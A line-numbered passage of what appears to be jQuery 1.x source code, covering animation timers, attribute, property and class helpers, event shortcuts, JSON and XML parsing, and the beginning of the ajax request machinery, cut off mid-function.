4913 if (queue[index] && queue[index].finish) {
4914 queue[index].finish.call(this)
4915 }
4916 }
4917 delete data.finish
4918 })
4919 }
4920 });
4921 jQuery.each(["toggle", "show", "hide"], function(i, name) {
4922 var cssFn = jQuery.fn[name];
4923 jQuery.fn[name] = function(speed, easing, callback) {
4924 return speed == null || typeof speed === "boolean" ? cssFn.apply(this, arguments) : this.animate(genFx(name, true), speed, easing, callback)
4925 }
4926 });
4927 jQuery.each({
4928 slideDown: genFx("show"),
4929 slideUp: genFx("hide"),
4930 slideToggle: genFx("toggle"),
4931 fadeIn: {
4932 opacity: "show"
4933 },
4934 fadeOut: {
4935 opacity: "hide"
4936 },
4937 fadeToggle: {
4938 opacity: "toggle"
4939 }
4940 }, function(name, props) {
4941 jQuery.fn[name] = function(speed, easing, callback) {
4942 return this.animate(props, speed, easing, callback)
4943 }
4944 });
4945 jQuery.timers = [];
4946 jQuery.fx.tick = function() {
4947 var timer, timers = jQuery.timers,
4948 i = 0;
4949 fxNow = jQuery.now();
4950 for (; i < timers.length; i++) {
4951 timer = timers[i];
4952 if (!timer() && timers[i] === timer) {
4953 timers.splice(i--, 1)
4954 }
4955 }
4956 if (!timers.length) {
4957 jQuery.fx.stop()
4958 }
4959 fxNow = undefined
4960 };
4961 jQuery.fx.timer = function(timer) {
4962 jQuery.timers.push(timer);
4963 if (timer()) {
4964 jQuery.fx.start()
4965 } else {
4966 jQuery.timers.pop()
4967 }
4968 };
4969 jQuery.fx.interval = 13;
4970 jQuery.fx.start = function() {
4971 if (!timerId) {
4972 timerId = setInterval(jQuery.fx.tick, jQuery.fx.interval)
4973 }
4974 };
4975 jQuery.fx.stop = function() {
4976 clearInterval(timerId);
4977 timerId = null
4978 };
4979 jQuery.fx.speeds = {
4980 slow: 600,
4981 fast: 200,
4982 _default: 400
4983 };
4984 jQuery.fn.delay = function(time, type) {
4985 time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
4986 type = type || "fx";
4987 return this.queue(type, function(next, hooks) {
4988 var timeout = setTimeout(next, time);
4989 hooks.stop = function() {
4990 clearTimeout(timeout)
4991 }
4992 })
4993 };
4994 (function() {
4995 var input, div, select, a, opt;
4996 div = document.createElement("div");
4997 div.setAttribute("className", "t");
4998 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4999 a = div.getElementsByTagName("a")[0];
5000 select = document.createElement("select");
5001 opt = select.appendChild(document.createElement("option"));
5002 input = div.getElementsByTagName("input")[0];
5003 a.style.cssText = "top:1px";
5004 support.getSetAttribute = div.className !== "t";
5005 support.style = /top/.test(a.getAttribute("style"));
5006 support.hrefNormalized = a.getAttribute("href") === "/a";
5007 support.checkOn = !!input.value;
5008 support.optSelected = opt.selected;
5009 support.enctype = !!document.createElement("form").enctype;
5010 select.disabled = true;
5011 support.optDisabled = !opt.disabled;
5012 input = document.createElement("input");
5013 input.setAttribute("value", "");
5014 support.input = input.getAttribute("value") === "";
5015 input.value = "t";
5016 input.setAttribute("type", "radio");
5017 support.radioValue = input.value === "t"
5018 })();
5019 var rreturn = /\r/g;
5020 jQuery.fn.extend({
5021 val: function(value) {
5022 var hooks, ret, isFunction, elem = this[0];
5023 if (!arguments.length) {
5024 if (elem) {
5025 hooks = jQuery.valHooks[elem.type] || jQuery.valHooks[elem.nodeName.toLowerCase()];
5026 if (hooks && "get" in hooks && (ret = hooks.get(elem, "value")) !== undefined) {
5027 return ret
5028 }
5029 ret = elem.value;
5030 return typeof ret === "string" ? ret.replace(rreturn, "") : ret == null ? "" : ret
5031 }
5032 return
5033 }
5034 isFunction = jQuery.isFunction(value);
5035 return this.each(function(i) {
5036 var val;
5037 if (this.nodeType !== 1) {
5038 return
5039 }
5040 if (isFunction) {
5041 val = value.call(this, i, jQuery(this).val())
5042 } else {
5043 val = value
5044 }
5045 if (val == null) {
5046 val = ""
5047 } else if (typeof val === "number") {
5048 val += ""
5049 } else if (jQuery.isArray(val)) {
5050 val = jQuery.map(val, function(value) {
5051 return value == null ? "" : value + ""
5052 })
5053 }
5054 hooks = jQuery.valHooks[this.type] || jQuery.valHooks[this.nodeName.toLowerCase()];
5055 if (!hooks || !("set" in hooks) || hooks.set(this, val, "value") === undefined) {
5056 this.value = val
5057 }
5058 })
5059 }
5060 });
5061 jQuery.extend({
5062 valHooks: {
5063 option: {
5064 get: function(elem) {
5065 var val = jQuery.find.attr(elem, "value");
5066 return val != null ? val : jQuery.trim(jQuery.text(elem))
5067 }
5068 },
5069 select: {
5070 get: function(elem) {
5071 var value, option, options = elem.options,
5072 index = elem.selectedIndex,
5073 one = elem.type === "select-one" || index < 0,
5074 values = one ? null : [],
5075 max = one ? index + 1 : options.length,
5076 i = index < 0 ? max : one ? index : 0;
5077 for (; i < max; i++) {
5078 option = options[i];
5079 if ((option.selected || i === index) && (support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
5080 value = jQuery(option).val();
5081 if (one) {
5082 return value
5083 }
5084 values.push(value)
5085 }
5086 }
5087 return values
5088 },
5089 set: function(elem, value) {
5090 var optionSet, option, options = elem.options,
5091 values = jQuery.makeArray(value),
5092 i = options.length;
5093 while (i--) {
5094 option = options[i];
5095 if (jQuery.inArray(jQuery.valHooks.option.get(option), values) >= 0) {
5096 try {
5097 option.selected = optionSet = true
5098 } catch (_) {
5099 option.scrollHeight
5100 }
5101 } else {
5102 option.selected = false
5103 }
5104 }
5105 if (!optionSet) {
5106 elem.selectedIndex = -1
5107 }
5108 return options
5109 }
5110 }
5111 }
5112 });
5113 jQuery.each(["radio", "checkbox"], function() {
5114 jQuery.valHooks[this] = {
5115 set: function(elem, value) {
5116 if (jQuery.isArray(value)) {
5117 return (elem.checked = jQuery.inArray(jQuery(elem).val(), value) >= 0)
5118 }
5119 }
5120 };
5121 if (!support.checkOn) {
5122 jQuery.valHooks[this].get = function(elem) {
5123 return elem.getAttribute("value") === null ? "on" : elem.value
5124 }
5125 }
5126 });
5127 var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle,
5128 ruseDefault = /^(?:checked|selected)$/i,
5129 getSetAttribute = support.getSetAttribute,
5130 getSetInput = support.input;
5131 jQuery.fn.extend({
5132 attr: function(name, value) {
5133 return access(this, jQuery.attr, name, value, arguments.length > 1)
5134 },
5135 removeAttr: function(name) {
5136 return this.each(function() {
5137 jQuery.removeAttr(this, name)
5138 })
5139 }
5140 });
5141 jQuery.extend({
5142 attr: function(elem, name, value) {
5143 var hooks, ret, nType = elem.nodeType;
5144 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5145 return
5146 }
5147 if (typeof elem.getAttribute === strundefined) {
5148 return jQuery.prop(elem, name, value)
5149 }
5150 if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
5151 name = name.toLowerCase();
5152 hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? boolHook : nodeHook)
5153 }
5154 if (value !== undefined) {
5155 if (value === null) {
5156 jQuery.removeAttr(elem, name)
5157 } else if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) {
5158 return ret
5159 } else {
5160 elem.setAttribute(name, value + "");
5161 return value
5162 }
5163 } else if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
5164 return ret
5165 } else {
5166 ret = jQuery.find.attr(elem, name);
5167 return ret == null ? undefined : ret
5168 }
5169 },
5170 removeAttr: function(elem, value) {
5171 var name, propName, i = 0,
5172 attrNames = value && value.match(rnotwhite);
5173 if (attrNames && elem.nodeType === 1) {
5174 while ((name = attrNames[i++])) {
5175 propName = jQuery.propFix[name] || name;
5176 if (jQuery.expr.match.bool.test(name)) {
5177 if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5178 elem[propName] = false
5179 } else {
5180 elem[jQuery.camelCase("default-" + name)] = elem[propName] = false
5181 }
5182 } else {
5183 jQuery.attr(elem, name, "")
5184 }
5185 elem.removeAttribute(getSetAttribute ? name : propName)
5186 }
5187 }
5188 },
5189 attrHooks: {
5190 type: {
5191 set: function(elem, value) {
5192 if (!support.radioValue && value === "radio" && jQuery.nodeName(elem, "input")) {
5193 var val = elem.value;
5194 elem.setAttribute("type", value);
5195 if (val) {
5196 elem.value = val
5197 }
5198 return value
5199 }
5200 }
5201 }
5202 }
5203 });
5204 boolHook = {
5205 set: function(elem, value, name) {
5206 if (value === false) {
5207 jQuery.removeAttr(elem, name)
5208 } else if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5209 elem.setAttribute(!getSetAttribute && jQuery.propFix[name] || name, name)
5210 } else {
5211 elem[jQuery.camelCase("default-" + name)] = elem[name] = true
5212 }
5213 return name
5214 }
5215 };
5216 jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g), function(i, name) {
5217 var getter = attrHandle[name] || jQuery.find.attr;
5218 attrHandle[name] = getSetInput && getSetAttribute || !ruseDefault.test(name) ? function(elem, name, isXML) {
5219 var ret, handle;
5220 if (!isXML) {
5221 handle = attrHandle[name];
5222 attrHandle[name] = ret;
5223 ret = getter(elem, name, isXML) != null ? name.toLowerCase() : null;
5224 attrHandle[name] = handle
5225 }
5226 return ret
5227 } : function(elem, name, isXML) {
5228 if (!isXML) {
5229 return elem[jQuery.camelCase("default-" + name)] ? name.toLowerCase() : null
5230 }
5231 }
5232 });
5233 if (!getSetInput || !getSetAttribute) {
5234 jQuery.attrHooks.value = {
5235 set: function(elem, value, name) {
5236 if (jQuery.nodeName(elem, "input")) {
5237 elem.defaultValue = value
5238 } else {
5239 return nodeHook && nodeHook.set(elem, value, name)
5240 }
5241 }
5242 }
5243 }
5244 if (!getSetAttribute) {
5245 nodeHook = {
5246 set: function(elem, value, name) {
5247 var ret = elem.getAttributeNode(name);
5248 if (!ret) {
5249 elem.setAttributeNode((ret = elem.ownerDocument.createAttribute(name)))
5250 }
5251 ret.value = value += "";
5252 if (name === "value" || value === elem.getAttribute(name)) {
5253 return value
5254 }
5255 }
5256 };
5257 attrHandle.id = attrHandle.name = attrHandle.coords = function(elem, name, isXML) {
5258 var ret;
5259 if (!isXML) {
5260 return (ret = elem.getAttributeNode(name)) && ret.value !== "" ? ret.value : null
5261 }
5262 };
5263 jQuery.valHooks.button = {
5264 get: function(elem, name) {
5265 var ret = elem.getAttributeNode(name);
5266 if (ret && ret.specified) {
5267 return ret.value
5268 }
5269 },
5270 set: nodeHook.set
5271 };
5272 jQuery.attrHooks.contenteditable = {
5273 set: function(elem, value, name) {
5274 nodeHook.set(elem, value === "" ? false : value, name)
5275 }
5276 };
5277 jQuery.each(["width", "height"], function(i, name) {
5278 jQuery.attrHooks[name] = {
5279 set: function(elem, value) {
5280 if (value === "") {
5281 elem.setAttribute(name, "auto");
5282 return value
5283 }
5284 }
5285 }
5286 })
5287 }
5288 if (!support.style) {
5289 jQuery.attrHooks.style = {
5290 get: function(elem) {
5291 return elem.style.cssText || undefined
5292 },
5293 set: function(elem, value) {
5294 return (elem.style.cssText = value + "")
5295 }
5296 }
5297 }
5298 var rfocusable = /^(?:input|select|textarea|button|object)$/i,
5299 rclickable = /^(?:a|area)$/i;
5300 jQuery.fn.extend({
5301 prop: function(name, value) {
5302 return access(this, jQuery.prop, name, value, arguments.length > 1)
5303 },
5304 removeProp: function(name) {
5305 name = jQuery.propFix[name] || name;
5306 return this.each(function() {
5307 try {
5308 this[name] = undefined;
5309 delete this[name]
5310 } catch (e) {}
5311 })
5312 }
5313 });
5314 jQuery.extend({
5315 propFix: {
5316 "for": "htmlFor",
5317 "class": "className"
5318 },
5319 prop: function(elem, name, value) {
5320 var ret, hooks, notxml, nType = elem.nodeType;
5321 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5322 return
5323 }
5324 notxml = nType !== 1 || !jQuery.isXMLDoc(elem);
5325 if (notxml) {
5326 name = jQuery.propFix[name] || name;
5327 hooks = jQuery.propHooks[name]
5328 }
5329 if (value !== undefined) {
5330 return hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined ? ret : (elem[name] = value)
5331 } else {
5332 return hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null ? ret : elem[name]
5333 }
5334 },
5335 propHooks: {
5336 tabIndex: {
5337 get: function(elem) {
5338 var tabindex = jQuery.find.attr(elem, "tabindex");
5339 return tabindex ? parseInt(tabindex, 10) : rfocusable.test(elem.nodeName) || rclickable.test(elem.nodeName) && elem.href ? 0 : -1
5340 }
5341 }
5342 }
5343 });
5344 if (!support.hrefNormalized) {
5345 jQuery.each(["href", "src"], function(i, name) {
5346 jQuery.propHooks[name] = {
5347 get: function(elem) {
5348 return elem.getAttribute(name, 4)
5349 }
5350 }
5351 })
5352 }
5353 if (!support.optSelected) {
5354 jQuery.propHooks.selected = {
5355 get: function(elem) {
5356 var parent = elem.parentNode;
5357 if (parent) {
5358 parent.selectedIndex;
5359 if (parent.parentNode) {
5360 parent.parentNode.selectedIndex
5361 }
5362 }
5363 return null
5364 }
5365 }
5366 }
5367 jQuery.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
5368 jQuery.propFix[this.toLowerCase()] = this
5369 });
5370 if (!support.enctype) {
5371 jQuery.propFix.enctype = "encoding"
5372 }
5373 var rclass = /[\t\r\n\f]/g;
5374 jQuery.fn.extend({
5375 addClass: function(value) {
5376 var classes, elem, cur, clazz, j, finalValue, i = 0,
5377 len = this.length,
5378 proceed = typeof value === "string" && value;
5379 if (jQuery.isFunction(value)) {
5380 return this.each(function(j) {
5381 jQuery(this).addClass(value.call(this, j, this.className))
5382 })
5383 }
5384 if (proceed) {
5385 classes = (value || "").match(rnotwhite) || [];
5386 for (; i < len; i++) {
5387 elem = this[i];
5388 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : " ");
5389 if (cur) {
5390 j = 0;
5391 while ((clazz = classes[j++])) {
5392 if (cur.indexOf(" " + clazz + " ") < 0) {
5393 cur += clazz + " "
5394 }
5395 }
5396 finalValue = jQuery.trim(cur);
5397 if (elem.className !== finalValue) {
5398 elem.className = finalValue
5399 }
5400 }
5401 }
5402 }
5403 return this
5404 },
5405 removeClass: function(value) {
5406 var classes, elem, cur, clazz, j, finalValue, i = 0,
5407 len = this.length,
5408 proceed = arguments.length === 0 || typeof value === "string" && value;
5409 if (jQuery.isFunction(value)) {
5410 return this.each(function(j) {
5411 jQuery(this).removeClass(value.call(this, j, this.className))
5412 })
5413 }
5414 if (proceed) {
5415 classes = (value || "").match(rnotwhite) || [];
5416 for (; i < len; i++) {
5417 elem = this[i];
5418 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : "");
5419 if (cur) {
5420 j = 0;
5421 while ((clazz = classes[j++])) {
5422 while (cur.indexOf(" " + clazz + " ") >= 0) {
5423 cur = cur.replace(" " + clazz + " ", " ")
5424 }
5425 }
5426 finalValue = value ? jQuery.trim(cur) : "";
5427 if (elem.className !== finalValue) {
5428 elem.className = finalValue
5429 }
5430 }
5431 }
5432 }
5433 return this
5434 },
5435 toggleClass: function(value, stateVal) {
5436 var type = typeof value;
5437 if (typeof stateVal === "boolean" && type === "string") {
5438 return stateVal ? this.addClass(value) : this.removeClass(value)
5439 }
5440 if (jQuery.isFunction(value)) {
5441 return this.each(function(i) {
5442 jQuery(this).toggleClass(value.call(this, i, this.className, stateVal), stateVal)
5443 })
5444 }
5445 return this.each(function() {
5446 if (type === "string") {
5447 var className, i = 0,
5448 self = jQuery(this),
5449 classNames = value.match(rnotwhite) || [];
5450 while ((className = classNames[i++])) {
5451 if (self.hasClass(className)) {
5452 self.removeClass(className)
5453 } else {
5454 self.addClass(className)
5455 }
5456 }
5457 } else if (type === strundefined || type === "boolean") {
5458 if (this.className) {
5459 jQuery._data(this, "__className__", this.className)
5460 }
5461 this.className = this.className || value === false ? "" : jQuery._data(this, "__className__") || ""
5462 }
5463 })
5464 },
5465 hasClass: function(selector) {
5466 var className = " " + selector + " ",
5467 i = 0,
5468 l = this.length;
5469 for (; i < l; i++) {
5470 if (this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf(className) >= 0) {
5471 return true
5472 }
5473 }
5474 return false
5475 }
5476 });
5477 jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function(i, name) {
5478 jQuery.fn[name] = function(data, fn) {
5479 return arguments.length > 0 ? this.on(name, null, data, fn) : this.trigger(name)
5480 }
5481 });
5482 jQuery.fn.extend({
5483 hover: function(fnOver, fnOut) {
5484 return this.mouseenter(fnOver).mouseleave(fnOut || fnOver)
5485 },
5486 bind: function(types, data, fn) {
5487 return this.on(types, null, data, fn)
5488 },
5489 unbind: function(types, fn) {
5490 return this.off(types, null, fn)
5491 },
5492 delegate: function(selector, types, data, fn) {
5493 return this.on(types, selector, data, fn)
5494 },
5495 undelegate: function(selector, types, fn) {
5496 return arguments.length === 1 ? this.off(selector, "**") : this.off(types, selector || "**", fn)
5497 }
5498 });
5499 var nonce = jQuery.now();
5500 var rquery = (/\?/);
5501 var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
5502 jQuery.parseJSON = function(data) {
5503 if (window.JSON && window.JSON.parse) {
5504 return window.JSON.parse(data + "")
5505 }
5506 var requireNonComma, depth = null,
5507 str = jQuery.trim(data + "");
5508 return str && !jQuery.trim(str.replace(rvalidtokens, function(token, comma, open, close) {
5509 if (requireNonComma && comma) {
5510 depth = 0
5511 }
5512 if (depth === 0) {
5513 return token
5514 }
5515 requireNonComma = open || comma;
5516 depth += !close - !open;
5517 return ""
5518 })) ? (Function("return " + str))() : jQuery.error("Invalid JSON: " + data)
5519 };
5520 jQuery.parseXML = function(data) {
5521 var xml, tmp;
5522 if (!data || typeof data !== "string") {
5523 return null
5524 }
5525 try {
5526 if (window.DOMParser) {
5527 tmp = new DOMParser();
5528 xml = tmp.parseFromString(data, "text/xml")
5529 } else {
5530 xml = new ActiveXObject("Microsoft.XMLDOM");
5531 xml.async = "false";
5532 xml.loadXML(data)
5533 }
5534 } catch (e) {
5535 xml = undefined
5536 }
5537 if (!xml || !xml.documentElement || xml.getElementsByTagName("parsererror").length) {
5538 jQuery.error("Invalid XML: " + data)
5539 }
5540 return xml
5541 };
5542 var ajaxLocParts, ajaxLocation, rhash = /#.*$/,
5543 rts = /([?&])_=[^&]*/,
5544 rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
5545 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
5546 rnoContent = /^(?:GET|HEAD)$/,
5547 rprotocol = /^\/\//,
5548 rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
5549 prefilters = {},
5550 transports = {},
5551 allTypes = "*/".concat("*");
5552 try {
5553 ajaxLocation = location.href
5554 } catch (e) {
5555 ajaxLocation = document.createElement("a");
5556 ajaxLocation.href = "";
5557 ajaxLocation = ajaxLocation.href
5558 }
5559 ajaxLocParts = rurl.exec(ajaxLocation.toLowerCase()) || [];
5560
5561 function addToPrefiltersOrTransports(structure) {
5562 return function(dataTypeExpression, func) {
5563 if (typeof dataTypeExpression !== "string") {
5564 func = dataTypeExpression;
5565 dataTypeExpression = "*"
5566 }
5567 var dataType, i = 0,
5568 dataTypes = dataTypeExpression.toLowerCase().match(rnotwhite) || [];
5569 if (jQuery.isFunction(func)) {
5570 while ((dataType = dataTypes[i++])) {
5571 if (dataType.charAt(0) === "+") {
5572 dataType = dataType.slice(1) || "*";
5573 (structure[dataType] = structure[dataType] || []).unshift(func)
5574 } else {
5575 (structure[dataType] = structure[dataType] || []).push(func)
5576 }
5577 }
5578 }
5579 }
5580 }
5581
5582 function inspectPrefiltersOrTransports(structure, options, originalOptions, jqXHR) {
5583 var inspected = {},
5584 seekingTransport = (structure === transports);
5585
5586 function inspect(dataType) {
5587 var selected;
5588 inspected[dataType] = true;
5589 jQuery.each(structure[dataType] || [], function(_, prefilterOrFactory) {
5590 var dataTypeOrTransport = prefilterOrFactory(options, originalOptions, jqXHR);
5591 if (typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[dataTypeOrTransport]) {
5592 options.dataTypes.unshift(dataTypeOrTransport);
5593 inspect(dataTypeOrTransport);
5594 return false
5595 } else if (seekingTransport) {
5596 return !(selected = dataTypeOrTransport)
5597 }
5598 });
5599 return selected
5600 }
5601 return inspect(options.dataTypes[0]) || !inspected["*"] && inspect("*")
5602 }
5603
5604 function ajaxExtend(target, src) {
5605 var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {};
5606 for (key in src) {
5607 if (src[key] !== undefined) {
5608 (flatOptions[key] ? target : (deep || (deep = {})))[key] = src[key]
5609 }
5610 }
5611 if (deep) {
5612 jQuery.extend(true, target, deep)
5613 }
5614 return target
5615 }
5616
5617 function ajaxHandleResponses(s, jqXHR, responses) {
5618 var firstDataType, ct, finalDataType, type, contents = s.contents,
5619 dataTypes = s.dataTypes;
5620 while (dataTypes[0] === "*") {
5621 dataTypes.shift();
5622 if (ct === undefined) {
5623 ct = s.mimeType || jqXHR.getResponseHeader("Content-Type")
5624 }
5625 }
5626 if (ct) {
5627 for (type in contents) {
5628 if (contents[type] && contents[type].test(ct)) {
5629 dataTypes.unshift(type);
5630 break
5631 }
5632 }
5633 }
5634 if (dataTypes[0] in responses) {
5635 finalDataType = dataTypes[0]
5636 } else {
5637 for (type in responses) {
5638 if (!dataTypes[0] || s.converters[type + " " + dataTypes[0]]) {
5639 finalDataType = type;
5640 break
5641 }
5642 if (!firstDataType) {
5643 firstDataType = type
5644 }
5645 }
5646 finalDataType = finalDataType || firstDataType
5647 }
5648 if (finalDataType) {
5649 if (finalDataType !== dataTypes[0]) {
5650 dataTypes.unshift(finalDataType)
5651 }
5652 return responses[finalDataType]
5653 }
5654 }
5655
5656 function ajaxConvert(s, response, jqXHR, isSuccess) {
5657 var conv2, current, conv, tmp, prev, converters = {},
5658 dataTypes = s.dataTypes.slice();
5659 if (dataTypes[1]) {
5660 for (conv in s.converters) {
5661 converters[conv.toLowerCase()] = s.converters[conv]
5662 }
5663 }
5664 current = dataTypes.shift();
5665 while (current) {
5666 if (s.responseFields[current]) {
5667 jqXHR[s.responseFields[current]] = response
5668 }
5669 if (!prev && isSuccess && s.dataFilter) {
5670 response = s.dataFilter(response, s.dataType)
5671 }
5672 prev = current;
5673 current = dataTypes.shift();
5674 if (current) {
5675 if (current === "*") {
5676 current = prev
5677 } else if (prev !== "*" && prev !== current) {
5678 conv = converters[prev + " " + current] || converters["* " + current];
5679 if (!conv) {
5680 for (conv2 in converters) {
5681 tmp = conv2.split(" ");
5682 if (tmp[1] === current) {
5683 conv = converters[prev + " " + tmp[0]] || converters["* " + tmp[0]];
5684 if (conv) {
5685 if (conv === true) {
5686 conv = converters[conv2]
5687 } else if (converters[conv2] !== true) {
5688 current = tmp[0];
5689 dataTypes.unshift(tmp[1])
5690 }
5691 break
5692 }
5693 }
5694 }
5695 }
5696 if (conv !== true) {
5697 if (conv && s["throws"]) {
5698 response = conv(response)
5699 } else {
5700 try {
5701 response = conv(response)
5702 } catch (e) {
5703 return {
5704 state: "parsererror",
5705 error: conv ? e : "No conversion from " + prev + " to " + current
5706 }
5707 }
5708 }
5709 }
5710 }
5711 }
5712 }
5713 return {
5714 state: "success",
5715 data: response
5716 }
5717 }
5718 jQuery.extend({
5719 active: 0,
5720 lastModified: {},
5721 etag: {},
5722 ajaxSettings: {
5723 url: ajaxLocation,
5724 type: "GET",
5725 isLocal: rlocalProtocol.test(ajaxLocParts[1]),
5726 global: true,
5727 processData: true,
5728 async: true,
5729 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
5730 accepts: {
5731 "*": allTypes,
5732 text: "text/plain",
5733 html: "text/html",
5734 xml: "application/xml, text/xml",
5735 json: "application/json, text/javascript"
5736 },
5737 contents: {
5738 xml: /xml/,
5739 html: /html/,
5740 json: /json/
5741 },
5742 responseFields: {
5743 xml: "responseXML",
5744 text: "responseText",
5745 json: "responseJSON"
5746 },
5747 converters: {
5748 "* text": String,
5749 "text html": true,
5750 "text json": jQuery.parseJSON,
5751 "text xml": jQuery.parseXML
5752 },
5753 flatOptions: {
5754 url: true,
5755 context: true
5756 }
5757 },
5758 ajaxSetup: function(target, settings) {
5759 return settings ? ajaxExtend(ajaxExtend(target, jQuery.ajaxSettings), settings) : ajaxExtend(jQuery.ajaxSettings, target)
5760 },
5761 ajaxPrefilter: addToPrefiltersOrTransports(prefilters),
5762 ajaxTransport: addToPrefiltersOrTransports(transports),
5763 ajax: function(url, options) {
5764 if (typeof url === "object") {
5765 options = url;
5766 url = undefined
5767 }
5768 options = options || {};
5769 var parts, i, cacheURL, responseHeadersString, timeoutTimer, fireGlobals, transport, responseHeaders, s = jQuery.ajaxSetup({}, options),
5770 callbackContext = s.context || s,
5771 globalEventContext = s.context && (callbackContext.nodeType || callbackContext.jquery) ? jQuery(callbackContext) : jQuery.event,
5772 deferred = jQuery.Deferred(),
5773 completeDeferred = jQuery.Callbacks("once memory"),
5774 statusCode = s.statusCode || {},
5775 requestHeaders = {},
5776 requestHeadersNames = {},
5777 state = 0,
5778 strAbort = "canceled",
5779 jqXHR = {
5780 readyState: 0,
5781 getResponseHeader: function(key) {
5782 var match;
5783 if (state === 2) {
5784 if (!responseHeaders) {
5785 responseHeaders = {};
5786 while ((match = rheaders.exec(responseHeadersString))) {
5787 responseHeaders[match[1].toLowerCase()] = match[2]
5788 }
5789 }
5790 match = responseHeaders[key.toLowerCase()]
5791 }
5792 return match == null ? null : match
5793 },
5794 getAllResponseHeaders: function() {
5795 return state === 2 ? responseHeadersString : null
5796 },
5797 setRequestHeader: function(name, value) {
5798 var lname = name.toLowerCase();
5799 if (!state) {
5800 name = requestHeadersNames[lname] = requestHeadersNames[lname] || name;
5801 requestHeaders[name] = value
5802 }
5803 return this
5804 },
5805 overrideMimeType: function(type) {
5806 if (!state) {
5807 s.mimeType = type
5808 }
5809 return this
5810 },
5811 statusCode: function(map) {
5812 var code;
5813 if (map) {
5814 if (state < 2) {
5815 for (code in map) {
5816 statusCode[code] = [statusCode[code], map[code]]
5817 }
5818 } else {
5819 jqXHR.always(map[jqXHR.status])
5820 }
5821 }
5822 return this
5823 },
5824 abort: function(statusText) {
5825 var finalText = statusText || strAbort;
5826 if (transport) {
5827 transport.abort(finalText)
5828 }
5829 done(0, finalText);
5830 return this
5831 }
5832 };
5833 deferred.promise(jqXHR).complete = completeDeferred.add;
5834 jqXHR.success = jqXHR.done;
5835 jqXHR.error = jqXHR.fail;
5836 s.url = ((url || s.url || ajaxLocation) + "").replace(rhash, "").replace(rprotocol, ajaxLocParts[1] + "//");
5837 s.type = options.method || options.type || s.method || s.type;
5838 s.dataTypes = jQuery.trim(s.dataType || "*").toLowerCase().match(rnotwhite) || [""];
5839 if (s.crossDomain == null) {
5840 parts = rurl.exec(s.url.toLowerCase());
5841 s.crossDomain = !!(parts && (parts[1] !== ajaxLocParts[1] || parts[2] !== ajaxLocParts[2] || (parts[3] || (parts[1] === "http:" ? "80" : "443")) !== (ajaxLocParts[3] || (ajaxLocParts[1] === "http:" ? "80" : "443"))))
5842 }
5843 if (s.data && s.processData && typeof s.data !== "string") {
5844 s.data = jQuery.param(s.data, s.traditional)
5845 }
5846 inspectPrefiltersOrTransports(prefilters, s, options, jqXHR);
5847 if (state === 2) {
5848 return jqXHR
5849 }
5850 fireGlobals = jQuery.event && s.global;
5851 if (fireGlobals && jQuery.active++ === 0) {
5852 jQuery.event.trigger("ajaxStart")
5853 }
5854 s.type = s.type.toUpperCase();
5855 s.hasContent = !rnoContent.test(s.type);
5856 cacheURL = s.url;
5857 if (!s.hasContent) {
5858 if (s.data) {
5859 cacheURL = (s.url += (rquery.test(cacheURL) ? "&" : "?") + s.data);
5860 delete s.data
5861 }
5862 if (s.cache === false) {
5863 s.url = rts.test(cacheURL) ? cacheURL.replace(rts, "$1_=" + nonce++) : cacheURL + (rquery.test(cacheURL) ? "&" : "?") + "_=" + nonce++
5864 }
5865 }
5866 if (s.ifModified) {
5867 if (jQuery.lastModified[cacheURL]) {
5868 jqXHR.setRequestHeader("If-Modified-Since", jQuery.lastModified[cacheURL])
5869 }
5870 if (jQuery.etag[cacheURL]) {
5871 jqXHR.setRequestHeader("If-None-Match", jQuery.etag[cacheURL])
5872 }
5873 }
5874 if (s.data && s.hasContent && s.contentType !== false || options.contentType) {
5875 jqXHR.setRequestHeader("Content-Type", s.contentType)
5876 }
5877 jqXHR.setRequestHeader("Accept", s.dataTypes[0] && s.accepts[s.dataTypes[0]] ? s.accepts[s.dataTypes[0]] + (s.dataTypes[0] !== "*" ? ", " + allTypes + "; q=0.01" : "") : s.accepts["*"]);
5878 for (i in s.headers) {
5879 jqXHR.setRequestHeader(i, s.headers[i])
5880 }
5881 if (s.beforeSend && (s.beforeSend.call(callbackContext, jqXHR, s) === false || state === 2)) {
5882 return jqXHR.abort()
5883 }
5884 strAbort = "abort";
5885 for (i in {
5886 success: 1,
5887 error: 1,
5888 complete: 1
5889 }) {
5890 jqXHR[i](s[i])
5891 }
5892 transport = inspectPrefiltersOrTransports(transports, s, options, jqXHR);
5893 if (!transport) {
5894 done(-1, "No Transport")
5895 } else {
5896 jqXHR.readyState = 1;
5897 if (fireGlobals) {
